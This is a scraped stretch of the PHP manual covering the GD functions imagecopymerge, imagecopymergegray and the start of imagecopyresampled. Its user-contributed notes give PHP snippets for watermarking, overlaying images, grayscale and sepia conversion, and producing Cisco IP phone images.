jylyn at hotmail dot com 22-Feb-2006 01:49
A few corrections to the code supplied by nick at prient:

$iTemplate should be $iBackground
$iWorking should be $iSource

After fixing those two I found the script really useful, thanks!
nick at prient dot co dot uk 01-Nov-2005 02:15
Task: Rotate a large image, then reduce it in size and place it on a small background (i.e. as an Inset).

Problem: If you resize the image first, the rotation becomes hugely aliased...  So, it makes sense to rotate it first, then shrink it.
Unfortunately, when you resample the image, you lose the background color (at least, some of it may change), so you can no longer set transparancy as you require.  If instead you resize the image (rather than resample), again, the aliasing looks bad.

Solution:  Resize the background - make it bigger.  Then add the original (large) inset, and resize the whole thing back to normal.

<?php
/* We will shrink the inset to 25% */
$resizePercentage = 0.25;

/* Load a source image and a background */
$iSource = ImageCreateFromJpeg($source_file);
$iBackground = ImageCreateFromJpeg($background_file);

/* Do something here, such a rotate, skew etc */
...
/* Assume $iSource is still the image we want to insert onto the background */

/* Set the background color to be transparent */
$cBackground = ImageColorClosest($iSource, 255, 0, 255);
ImageColorTransparent($iSource, $cBackground);

/* Resize the background - make it huge */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) / $resizePercentage, ImageSY($iBackground ) / $resizePercentage);
/* Place the image on the background - all full size, so no aliasing issues */
ImageCopyMerge($iBackground , $iSource,
    ((ImageSX($iBackground ) - ImageSX($iSource)) / 2),
    ((ImageSY($iBackground ) - ImageSY($iSource)) / 2) - 25, 0, 0, ImageSX($iWorking), ImageSY($iSource), 100);
/* Shrink the combined image... no issues with transparancy! */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) * $resizePercentage, ImageSY($iBackground ) * $resizePercentage);

/* Output the image as a PNG */
header("Content-Type: image/png");
ImagePng($iBackground);
exit();

function ImageResize($pImage, $t_width, $t_height) {
  // Target image
  $iCanvas = @ImageCreateTrueColor($t_width, $t_height);
  // Source dimensions
  $s_width = ImageSX($pImage);
  $s_height = ImageSY($pImage);
  // Copy image
  ImageCopyResampled($iCanvas, $pImage, 0, 0, 0, 0, $t_width, $t_height, $s_width, $s_height);
  // Return image
  return $iCanvas;
}
?>
Ascent [at] WebAQ.com 24-May-2005 02:41
First you need make 0~9 gif format images and background image.

<?php
/*
make random image number check
20050524 by ascent WebAQ.com
*/

$rands = rand(1000,9999);

session_start();
$_SESSION['random_image_number_check'] = $rands;

$bg = './random_image_bg.jpg';
$numimgp = './random_image_number_%d.gif';

$numimg1 = sprintf($numimgp,substr($rands,0,1));
$numimg2 = sprintf($numimgp,substr($rands,1,1));
$numimg3 = sprintf($numimgp,substr($rands,2,1));
$numimg4 = sprintf($numimgp,substr($rands,3,1));
$ys1 = rand(-4,4);
$ys2 = rand(-4,4);
$ys3 = rand(-4,4);
$ys4 = rand(-4,4);

$bgImg = imageCreateFromJPEG($bg);
$nmImg1 = imageCreateFromGIF($numimg1);
$nmImg2 = imageCreateFromGIF($numimg2);
$nmImg3 = imageCreateFromGIF($numimg3);
$nmImg4 = imageCreateFromGIF($numimg4);
imageCopyMerge($bgImg, $nmImg1, 10, $ys1, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg2, 30, $ys2, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg3, 50, $ys3, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg4, 70, $ys4, 0, 0, 20, 30, 50);
header("Content-type: image/jpg");
ImageJPEG($bgImg,"",100);
imagedestroy($bgImg);
imagedestroy($nmImg1);
imagedestroy($nmImg2);
imagedestroy($nmImg3);
imagedestroy($nmImg4);
?>

enjoy!
Steve 23-May-2005 11:03
Building upon backglancer's and stefan's posts below, the following script will lay a 24-bit PNG watermark over any image.

To prepare a 24-bit watermark, I recommend creating a white logo or text over a transparent background in Photoshop.  Save this as a 24-bit PNG via 'Save for the Web...'.  Be sure to set the transparency of the logo layer in Photoshop itself.  30-40% is a good setting.

Once the assets are prepared, throw the full or relative server paths at the watermark function below:

/******************************************************************/

function watermark($sourcefile, $watermarkfile) {

    #
    # $sourcefile = Filename of the picture to be watermarked.
    # $watermarkfile = Filename of the 24-bit PNG watermark file.
    #

    //Get the resource ids of the pictures
    $watermarkfile_id = imagecreatefrompng($watermarkfile);

    imageAlphaBlending($watermarkfile_id, false);
    imageSaveAlpha($watermarkfile_id, true);

    $fileType = strtolower(substr($sourcefile, strlen($sourcefile)-3));

    switch($fileType) {
        case('gif'):
            $sourcefile_id = imagecreatefromgif($sourcefile);
            break;

        case('png'):
            $sourcefile_id = imagecreatefrompng($sourcefile);
            break;

        default:
            $sourcefile_id = imagecreatefromjpeg($sourcefile);
    }

    //Get the sizes of both pix
  $sourcefile_width=imageSX($sourcefile_id);
  $sourcefile_height=imageSY($sourcefile_id);
  $watermarkfile_width=imageSX($watermarkfile_id);
  $watermarkfile_height=imageSY($watermarkfile_id);

    $dest_x = ( $sourcefile_width / 2 ) - ( $watermarkfile_width / 2 );
    $dest_y = ( $sourcefile_height / 2 ) - ( $watermarkfile_height / 2 );

    // if a gif, we have to upsample it to a truecolor image
    if($fileType == 'gif') {
        // create an empty truecolor container
        $tempimage = imagecreatetruecolor($sourcefile_width,
                                                                            $sourcefile_height);

        // copy the 8-bit gif into the truecolor image
        imagecopy($tempimage, $sourcefile_id, 0, 0, 0, 0,
                            $sourcefile_width, $sourcefile_height);

        // copy the source_id int
        $sourcefile_id = $tempimage;
    }

    imagecopy($sourcefile_id, $watermarkfile_id, $dest_x, $dest_y, 0, 0,
                        $watermarkfile_width, $watermarkfile_height);

    //Create a jpeg out of the modified picture
    switch($fileType) {

        // remember we don't need gif any more, so we use only png or jpeg.
        // See the upsaple code immediately above to see how we handle gifs
        case('png'):
            header("Content-type: image/png");
            imagepng ($sourcefile_id);
            break;

        default:
            header("Content-type: image/jpg");
            imagejpeg ($sourcefile_id);
    }

    imagedestroy($sourcefile_id);
    imagedestroy($watermarkfile_id);

}
backglancer in the hotmail 17-May-2005 02:44
I was about to kill myself....
any one of you trying to merge a SEMI transparent png...
use imagecopy   :)
<?
$flag = imagecreatefrompng('flags/images/flagWhiteFill.png');
$mask = imagecreatefrompng('flags/images/flag_transparent.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);

imagecopy($flag, $mask, 0,0,0,0,25,43);

Header("Content-type: image/jpeg");
imagepng($flag);
?>

ImageSaveAlpha(resource, bool);   made the transparent color - not transparent... dunno why :)
barbarina_sv at libero dot it 17-May-2005 01:55
I needed to draw a "pointer" image over a map, but had some problems with png image transparency.
So I created a png image with white background (not transparent) and merged it on my map, after defining white color as transparent:

<?php

$src_file = 'source.jpg';
list($src_w, $src_h, $src_t, $src_a) = getimagesize($src_file);

$ptr_file = 'pointer.png'; // must have no transparency, but white background
list($ptr_w, $ptr_h, $ptr_t, $ptr_a) = getimagesize($ptr_file);

// destination image dimensions:
$dst_w = 400;
$dst_h = 200;

// pointer position:
$ptr_x = 195;
$ptr_y = 70;

$srcImage = imageCreateFromJpeg($src_file) or die ('failed imageCreateFromJpg');
$dstImage = imageCreateTrueColor($dst_w, $dst_h) or die ('failed imageCreateTrueColor');

imageCopyResampled($dstImage, $srcImage, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h) or die ('failed imageCopyResampled');

$ptrImage = imageCreateFromPng($ptr_file) or die ('failed imageCreateFromPng');

$ptr_white = imageColorAllocate($ptrImage,255,255,255);
imageColorTransparent($ptrImage,$ptr_white);

imageCopyMerge($dstImage, $ptrImage, $ptr_x, $ptr_y, 0, 0, $ptr_w, $ptr_h, 100) or die ('failed imageCopyMerge');

imageJpeg($dstImage,'',100) or die ('failed imageJpeg');

imageDestroy($srcImage) or die ('failed imageDestroy(1)');
imageDestroy($dstImage) or die ('failed imageDestroy(2)');
imageDestroy($ptrImage) or die ('failed imageDestroy(3)');

?>
ingrid 04-Apr-2005 02:16
I found on the internet about a thousand copies of this "imageCopyMerge" script of Stefan.

Most of them had a  copyright notice of the copyist added, but none of them had added what a starting user of PHP scripting really needs: The lines to be used in a HTML page, where the result of the script will be visible:

<?php
$sourcefile = "ORIGFILE.jpg";
$insertfile = "watermark.jpg";
$targetfile = "foto.jpg";
$transition = 30;
$pos=7;
require("watermark.php");
mergePix($sourcefile, $insertfile, $targetfile, $pos, $transition);
echo "<img src=\"$targetfile\">";
?>

I was so lucky to get these lines from someone on the internet, after I posted my question all over the world.
Most other people that replied, referred to the bookstore. But I had first read halve the (this) PHP manual, and had not found it.

Just a suggestion, but I know it will help many people getting started with PHP: When you put your scripts here, why not add those few lines needed to incorporate it into a HTML page?
jtacon at php dot net 14-Dec-2004 05:36
This example shows how to use imageCopyMerge to create a water mark function with four random positions (the corners).

<?php
function waterMark($fileInHD, $wmFile, $transparency = 50, $jpegQuality = 90, $margin = 5) {

 $wmImg   = imageCreateFromGIF($wmFile);
 $jpegImg = imageCreateFromJPEG($fileInHD);

 // Water mark random position
 $wmX = (bool)rand(0,1) ? $margin : (imageSX($jpegImg) - imageSX($wmImg)) - $margin;
 $wmY = (bool)rand(0,1) ? $margin : (imageSY($jpegImg) - imageSY($wmImg)) - $margin;

 // Water mark process
 imageCopyMerge($jpegImg, $wmImg, $wmX, $wmY, 0, 0, imageSX($wmImg), imageSY($wmImg), $transparency);

 // Overwriting image
 ImageJPEG($jpegImg, $fileInHD, $jpegQuality);
}

waterMark('myImage.jpg','waterMark.gif');

?>

HTH.

Javier Tacón.
claudio dot gaetani at gdldesign dot it 09-May-2004 11:04
This function is intended to serve as an example for the "imageCopyMerge"-"ImageCopyResized", "ImageColorTransparent" functions.
I hope it will help.
This function pick an image, square cut it resampled at the size requested and finishing merge the result with another one to obtain a circular image result. I have a problem to obtain an thumbnail that respect the colors and at the same time where cutted in a circular form, I hope this solution can gives you a clue to obtain a free form images, I use this one also to create multicutted images.

<?php
$generalsrc="$image"; //the image to resample, resize and iconaize
$final_thumbwidth ="125";
$final_thumbheight ="125";

$abc = imagecreatefromjpeg("$generalsrc");
$def = imagecreatetruecolor($final_thumbwidth, $final_thumbheight);
$src_mx = round((imagesx($abc) / 2)-"0.1"); // middle x point of the image
$src_my = round((imagesy($abc) / 2)-"0.1"); // middle y point of the image
$src_x = ($src_mx * 2);
$src_y = ($src_my * 2);
$src_sq = ($src_x >= $src_y)?$src_y:$src_x; //used to define the best size for a square cut of the image
$pl = ($src_x >= $src_y)?"1":"2"; //define if the image is portait or landscape
$strt_pntx = ($pl=="1")?round(($src_my / 2)-"0. 1"):"0";  //defines the x start point
$strt_pnty = ($pl=="2")?round(($src_mx / 2)-"0. 1"):"0";  //defines the y start point

imagecopyresized($def, $abc, 0, 0, $strt_pntx, $strt_pnty, $final_thumbwidth, $final_thumbheight, $src_sq, $src_sq);

$overlay_img = imagecreatefromPNG("circle_125.png"); //NOTE use png for this
$src_w = "ImageSX($overlay_img)";
$src_h  = "ImageSY($overlay_img)";

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($overlay_img, 0, 0, 0);

ImageColorTransparent($overlay_img , $black);

imagecopy($can_img, $def, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $overlay_img , 0,0,0,0, ImageSX($overlay_img), ImageSY($overlay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,"merge_$generalsrc",100);

imagedestroy($overlay_img);
imagedestroy($can_img);
ImageDestroy($abc);
ImageDestroy($def);

print "<HTML><HEAD><TITLE>test</TITLE></HEAD><BODY>
original:<hr><img src=\"$generalsrc\" width=\"300\"><br><br><br>new:<hr><img src=\"merge_$generalsrc\">
<br>width = $src_x
<br>height = $src_y
<br>mdlw = $src_mx
<br>mdlh = $src_my
<br>sqr = $src_sq
<br>pl = $pl
<br>start point x = $strt_pntx
<br>start point y = $strt_pnty
</BODY></HTML>";
?>
bjorn AT smokingmedia DOT com 26-May-2003 11:10
in addition to stefan's posting:

i found that if you use imagecopymerge with png-24 files with an alpha channel, it doesn't work use imagecopy instead.
it seems that imagecopymerge doesn't respect the alpha channel the way it should (a bug??).

some sample code here to place an image (image.png) on a backgroundcolor or backgroundimage.

<?php

$im = "image.png";
$bg = "ffddee";     // hex representation of the color (i.e. #ffffff for white)
$out = "png";       // or "jpg" for jpg file output
// $backgroundfile = "";  // optional backgroundfile if you don't want to use a color

//
// function to convert hex colorcode to decimal
//

function colordecode($hex){

   $code[r] = hexdec(substr($hex, 0 ,2));
   $code[g] = hexdec(substr($hex, 2 ,2));
   $code[b] = hexdec(substr($hex, 4 ,2));

   return $code;

} // end func colordecode

// create the resource id
$image_id = imageCreateFromPNG($im);

// get image size
$im_X = ImageSX($image_id);
$im_Y = ImageSY($image_id);

// create a truecolor background image of the right size
// or use a background image like this
// $backgroundimage = imageCreateFromPNG($backgroundfile);
$backgroundimage = imagecreatetruecolor($im_X, $im_Y);

// get the desired backgroundcolor:
// don't use this if you want to use a background image
$code = colordecode($bg);
$backgroundcolor = ImageColorAllocate($backgroundimage, $code[r], $code[g], $code[b]);
ImageFilledRectangle($backgroundimage, 0, 0, $im_X, $im_Y, $backgroundcolor);

// merge the two together with alphablending on!
ImageAlphaBlending($backgroundimage, true);
imagecopy($backgroundimage, $image_id, 0, 0, 0, 0, $im_X, $im_Y);

// output the image:
if($output == "jpg"){
   Header( "Content-type: image/jpeg");
   ImageJPEG($backgroundimage);
   }
   else{
       Header( "Content-type: image/png");
       ImagePNG($backgroundimage);
       }

// destroy the memory
ImageDestroy($backgroundimage);
ImageDestroy($image_id);
?>
feisty at feistyenterprises dot com 06-Nov-2002 12:15
Yep, that worked a charm.

Since imageCopyMergeGray() is identical, it works just as well for that.

If you want to convert an image to greyscale, use imageCopyMergeGray() with the same image as source and destination, set the pict to 0, et voila!
jonny at sanriowasteland dot net 29-Sep-2002 05:36
If you need to merge 2 png's (or  presumably 2 gifs) with different color palettes, I have found this is the function to use.  Just set pct to 99, and you are rocking.  With pct set to 100, or imagecopy for that matter, the palette seems to go wonky.  (It probably just uses the palette of the source image. but don't quote me on that).
stefan dot wehowsky at profilschmiede dot de 26-Jul-2001 09:32
This function is intended to serve as an example for the "imageCopyMerge"-function.
I hope it will help some of the less experienced php-coders here.
I wrote it to mark objects of a real estate broker as "sold" by copying the "sold"-picture right into the picture of the house.

<?php

//$sourcefile = Filename of the picture into that $insertfile will be inserted.
//$insertfile = Filename of the picture that is to be inserted into $sourcefile.
//$targetfile = Filename of the modified picture.
//$transition = Intensity of the transition (in percent)
//$pos          = Position where $insertfile will be inserted in $sourcefile
//                0 = middle
//                1 = top left
//                2 = top right
//                3 = bottom right
//                4 = bottom left
//                5 = top middle
//                6 = middle right
//                7 = bottom middle
//                8 = middle left
//
//
function mergePix($sourcefile,$insertfile, $targetfile, $pos=0,$transition=50)
{

//Get the resource id´s of the pictures
    $insertfile_id = imageCreateFromJPEG($insertfile);
    $sourcefile_id = imageCreateFromJPEG($sourcefile);

//Get the sizes of both pix
    $sourcefile_width=imageSX($sourcefile_id);
    $sourcefile_height=imageSY($sourcefile_id);
    $insertfile_width=imageSX($insertfile_id);
    $insertfile_height=imageSY($insertfile_id);

//middle
    if( $pos == 0 )
    {
        $dest_x = ( $sourcefile_width / 2 ) - ( $insertfile_width / 2 );
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//top left
    if( $pos == 1 )
    {
        $dest_x = 0;
        $dest_y = 0;
    }

//top right
    if( $pos == 2 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = 0;
    }

//bottom right
    if( $pos == 3 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//bottom left
    if( $pos == 4 )
    {
        $dest_x = 0;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//top middle
    if( $pos == 5 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = 0;
    }

//middle right
    if( $pos == 6 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//bottom middle
    if( $pos == 7 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//middle left
    if( $pos == 8 )
    {
        $dest_x = 0;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//The main thing : merge the two pix
    imageCopyMerge($sourcefile_id, $insertfile_id,$dest_x,$dest_y,0,0,$insertfile_width,$insertfile_height,$transition);

//Create a jpeg out of the modified picture
    imagejpeg ($sourcefile_id,"$targetfile");

}
imagecopy
imagecopymergegray
GD and Image Functions


Copy and merge part of an image with gray scale

imagecopymerge
imagecopyresampled
GD and Image Functions
PHP Manual

imagecopymergegray

(PHP 4 >= 4.0.6, PHP 5)

imagecopymergegray — Copy and merge part of an image with gray scale

Description

bool imagecopymergegray ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h , int $pct )

imagecopymergegray() copy a part of src_im onto dst_im starting at the x,y coordinates src_x, src_y with a width of src_w and a height of src_h. The portion defined will be copied onto the x,y coordinates, dst_x and dst_y.

This function is identical to imagecopymerge() except that when merging it preserves the hue of the source by converting the destination pixels to gray scale before the copy operation.

Parameters

dst_im

Destination image link resource.

src_im

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

src_w

Source width.

src_h

Source height.

pct

The src_im will be changed to grayscale according to pct where 0 is fully grayscale and 100 is unchanged. When pct = 100 this function behaves identically to imagecopy() for pallete images, while it implements alpha transparency for true colour images.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagecopymergegray() usage

<?php
// Create image instances
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// Copy and merge - Gray = 20%
imagecopymergegray($dest, $src, 10, 10, 0, 0, 100, 47, 20);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

anonymous at domain dot com 16-Oct-2009 03:54
grayscale conversion is built-in with imagefilter().

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>

you could create the sepia effect by the following:

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);
     imagefilter($image, IMG_FILTER_COLORIZE, 112, 66, 20);
     //Wikipedia RGB definition of sepia

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>
amezghal at msn dot com 09-May-2008 05:59
gray effect :)
<?php
header('content-type:image/png');
$url_img = 'my_image.png';
$img = imagecreatefrompng($url_img);
$x = imagesx($img);
$y = imagesy($img);
$gray_img = imagecreatetruecolor($x, $y);
imagecolorallocate($gray_img, 0, 0, 0);
for ($i = 0; $i < $x; $i++) {
  for ($j = 0; $j < $y; $j++) {
    $rgb = imagecolorat($img, $i, $j);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
     //for gray mode $r = $g = $b
    $color = max(array($r, $g, $b));
    $gray_color = imagecolorexact($new_img, $color, $color,   $color);
     imagesetpixel($gray_img, $i, $j, $gray_color);
   }
}
?>
szamil at ginf dot pl 15-Apr-2007 02:17
I've changed a little switch251's code and here we have sephia effect
<?php
   // replace with your files
    $originalFileName    = $filename;
    $destinationFileName = "2".$filename;

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension))
    {
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++)
    {
        for ($x = 0; $x <$img_width; $x++)
        {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

          //sephia
            $red2 = min($red*.393 + $green*.769 + $blue*.189,255);
            $green2 = min($red*.349 + $green*.686 + $blue*.168,255);
            $blue2  = min($red*.272 + $green*.534 + $blue*.131,255);
            // shift gray level to the left

            $grayR = $red2 << 16;   // R: red
            $grayG = $green2 << 8 ;    // G: green
            $grayB = $blue2;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>
Mark Barba 15-Aug-2005 12:31
//  Using the same code I found here on php.net,
// I was able to figure out how to convert GIF (or any other
// format GD supports) to CIP format.  CIP is the image
// format for Cisco IP Phones...  7905/7940 and 7960
// models...  Hope someone finds this useful and make it
// better...

/////// GIF2CIP PHP code ///////

// Convert image in memory to grayscale
    $img_width  = imageSX($im2);
    $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x <$img_width; $x++) {
           $rgb = imagecolorat($im2, $x, $y);
           $red  = ($rgb >> 16) & 0xFF;
           $green = ($rgb >> 8)  & 0xFF;
           $blue  = $rgb & 0xFF;

           $gray = round(.299*$red + .587*$green + .114*$blue);

           // shift gray level to the left
           $grayR = $gray << 16;  // R: red
           $grayG = $gray << 8;    // G: green
           $grayB = $gray;        // B: blue

           // OR operation to compute gray value
           $grayColor = $grayR | $grayG | $grayB;

           // set the pixel color
           imagesetpixel ($im2, $x, $y, $grayColor);
           imagecolorallocate ($im2, $gray, $gray, $gray);
       }
   }
/////////////////////////////////////////////////////////

    // Modifies palette to only 4-colors (CIP Images on 7905/7940 & 7960 is 2-bit color)
    ImageTrueColorToPalette2($im2,FALSE,4);

    // Basic header for CIP Image files...
    header ("Content-type: text/xml");
    echo "<CiscoIPPhoneImage> ";
    echo "<LocationX>-1</LocationX> ";
    echo "<LocationY>-1</LocationY> ";
    echo "<Width>132</Width> ";
    echo "<Height>65</Height> ";
    echo "<Depth>2</Depth> ";
    echo "<Data>";

// get image dimensions (almost same code as above)
   $img_width  = imageSX($im2);
   $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x+4 <$img_width; $x = $x+4)
       {
            for ($ix = 0; $ix < 4; $ix++)
            {
               $rgb = imagecolorat($im2, $x + $ix, $y);

               // I came up with this translation on my own
               // Some smart person is bound to perfect it
               if ($rgb=="2") {$rgb=0;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="0") {$rgb=2;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="1") {$rgb=1;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="3") {$rgb=3;$Gray1[$ix] = $rgb;continue;}
           }
                $gray1 = $Gray1[0];
                $gray2 = $Gray1[1] << 2;
                $gray3 = $Gray1[2] << 4;
                $gray4 = $Gray1[3] << 6;

                // Pack 4 pixels into a single byte for CIP images
                $grey = $gray1 | $gray2 | $gray3 | $gray4;

                // CIP image data is sent in HEX, strtoupper is not really needed.
                $code = strtoupper(dechex($grey));

                // My quick fix to padding single HEX values
                if (strlen($code)==1) $code = "0".$code;
                echo $code;

       }

   }
    echo "</Data>";
    echo "<Title>$myvar</Title> ";
    echo "<Prompt>$city</Prompt> ";
    echo "</CiscoIPPhoneImage>";
    exit;
switch251 at netcourrier dot com 15-Apr-2004 07:18
In addition to code_couturier too: his code will produce blue pictures, because the value he uses to set the pixel color (the code is incomplete: I first thought it should be $gray) is between 0 and 255, which corresponds to blue levels.

To convert the picture to grayscale, use the following code:

<?php
    // replace with your files
    $originalFileName    = "colorPicture.jpg";
    $destinationFileName = "bwPicture.jpg";

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension)){
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++) {
        for ($x = 0; $x <$img_width; $x++) {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

            $gray = round(.299*$red + .587*$green + .114*$blue);

            // shift gray level to the left
            $grayR = $gray << 16;   // R: red
            $grayG = $gray << 8;    // G: green
            $grayB = $gray;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>

Copy-paste, replace the file names on the top and there you go (picture files must be in same folder as this script. If not, you will have to do your own file management).
annonymous at example dot com 15-Feb-2004 04:25
in addition to code_couturier - try this formula to calculate gray-value (luminance) in his "more exact" way:

$gray = round(.299*$red + .587*$green + .114*$blue);
code_couturier at graffiti dot net 18-Oct-2003 12:08
# very fast way to generate a grayscal-
# image from a true color image

#...

# --- quick grayscale image
for ($y = 0; $y <$img_height; $y++) {
 for ($x = 0; $x <$img_width; $x++) {

 # here we extract the green from
 # the pixel at x,y , to use it as gray value
 $gray = (ImageColorAt($image, $x, $y) >> 8) & 0xFF;

 # a more exact way would be this:
 # $rgb = ImageColorAt($image, $x, $y);
 # $red = ($rgb >> 16) & 0xFF;
 # $green = (trgb >> 8) & 0xFF;
 # $blue = $rgb & 0xFF;
 # $gray = (int)(($red+$green+$blue)/4);

 # and here we set the new pixel/color
  imagesetpixel ($image, $x, $y,
  ImageColorAllocate ($image, $gray,$gray,$gray));
 }
}

# ...
mail at laeubi dot de 09-Oct-2003 12:45
This function don't work properly for me on trucolerimages (have not tried yet for other types) it jsut produce a part-grayscale image, and some color get mesed up.
I found a workaround here:
http://www.phpbuilder.com/columns/cash20030526.php3?page=2

[quote]
Advanced Image Editing Under the GD Library
Colorizing
Colorizing images is fairly easy to do. The easiest way to colorize an image is fairly simple to grasp. Create an image of the same dimensions and fill that image with the color you want to change it to. This new image is then placed on top of the older image, giving it a colorized look.

<?php
function imagecolorize(&$im,&$col,$pct) {
    // Get the image's width
    $im_w = imagesx($im);
    // Get the image's height
    $im_h = imagesy($im);
    // Set a pixel with the color, so we can get it easily
    $setpixel = imagesetpixel($im,$im_w,0,$col);
    // Get the color
    $index = imagecolorat($im,$im_w,0);
    // Find the color in the index
    $rgb = imagecolorsforindex($im,$index);
    // Get the red value
    $r = $rgb["red"];
    // Get the green value
    $g = $rgb["green"];
    // Get the blue value
    $b = $rgb["blue"];
    // Create the layover
    $layover = imagecreate($im_w,$im_h);
    // Allocate the color on this image
    $color = imagecolorallocate($layover,$r,$g,$b);
    // Fill the image with the new color (this really isn't needed)
    $fill = imagefill($layover,0,0,$color);
    // Merge the layover on top of the older image
    $merge = imagecopymerge($im,$layover,0,0,0,0,$im_w,$im_h,$pct);
    imagedestroy($layover); // Destroy the layover
}
?>

If we use a blue layover RGB(0,0,255), we get this result:
[/quote]

if you use black or gray, its not perfekt, but better than nothing ;)
imagecopymerge
imagecopyresampled
GD and Image Functions


Copy and resize part of an image with resampling

imagecopymergegray
imagecopyresized
GD and Image Functions
PHP Manual

imagecopyresampled

(PHP 4 >= 4.0.6, PHP 5)

imagecopyresampled — Copy and resize part of an image with resampling

Description

bool imagecopyresampled ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y , int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h )

imagecopyresampled() copies a rectangular portion of one image to another image, smoothly interpolating pixel values so that, in particular, reducing the size of an image still retains a great deal of clarity.

In other words, imagecopyresampled() will take an rectangular area from src_image of width src_w and height src_h at position (src_x,src_y) and place it in a rectangular area of dst_image of width dst_w and height dst_h at position (dst_x,dst_y).

If the source and destination coordinates and width and heights differ, appropriate stretching or shrinking of the image fragment will be performed. The coordinates refer to the upper left corner. This function can be used to copy regions within the same image (if dst_image is the same as src_image) but if the regions overlap the results will be unpredictable.

Parameters

dst_image

Destination image link resource.

src_image

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

dst_w

Destination width.

dst_h

Destination height.

src_w

Source width.

src_h

Source height.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Simple example

